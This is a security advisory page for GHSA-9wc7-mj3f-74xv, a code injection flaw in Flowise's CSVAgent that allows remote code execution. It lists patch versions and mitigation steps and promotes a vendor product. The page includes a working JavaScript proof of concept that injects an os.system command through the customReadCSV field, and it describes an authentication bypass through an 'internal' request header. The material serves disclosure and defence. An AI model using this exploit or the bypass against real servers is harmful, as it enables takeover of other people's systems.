GHSA-9wc7-mj3f-74xv — flowise
HIGHGHSA-9wc7-mj3f-74xv is a high-severity (CVSS 8.8) Code Injection vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: Code Injection in CSVAgent leads to Authenticated RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9wc7-mj3f-74xv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9wc7-mj3f-74xv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.
Details
The code in question that introduces the issue is in CSVAgent.ts.
customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code).
An authenticated attacker can issue the following chain of requests:
- Create a new chat flow by sending a
POSTrequest to/api/v1/chatflows. This will return thechatflowIdin the response. - Send a
POSTrequest to/api/v1/prediction/[CHATFLOWID]to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. - Optionally: send a
DELETErequest to/api/v1/chatflowsto cleanup and delete the chat flow.
Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.
PoC
Here's the PoC code:
const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';
const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};
// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
},
body: JSON.stringify(payload)
});
let resJson = await res.json();
let chatflowId = resJson?.id;
// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"question": "whoami?"})
});
// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
method: "DELETE",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
}
});
Impact
This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0npm install flowise@3.1.0 |
| 📦npm | flowise-components | all versions | 3.1.0npm install flowise-components@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9wc7-mj3f-74xv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9wc7-mj3f-74xv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9wc7-mj3f-74xv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9wc7-mj3f-74xv in your dependencies?
O3 Security finds GHSA-9wc7-mj3f-74xv across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.